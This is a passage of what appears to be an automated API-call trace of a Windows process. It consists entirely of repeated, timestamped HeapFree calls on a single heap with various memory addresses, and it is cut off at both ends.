hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0224.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0224.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0224.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0224.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0224.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0225.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0225.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0225.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0225.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0225.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0225.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0225.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0225.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0225.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0225.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0225.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0225.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0225.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0225.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0225.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0225.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0225.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0225.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0225.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0225.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0225.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0225.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0226.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0226.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0226.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0227.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0227.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0227.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0227.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0227.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0227.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0227.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0227.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0227.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0227.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0227.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0227.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0227.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0227.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0227.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0227.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0227.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0227.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0227.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0227.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0227.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0227.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0227.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0227.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0228.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0229.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0229.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0229.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0229.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0229.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0229.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0229.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0229.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.752] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.991] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.010] HeapFree (in: hHeap=0x4f0000, 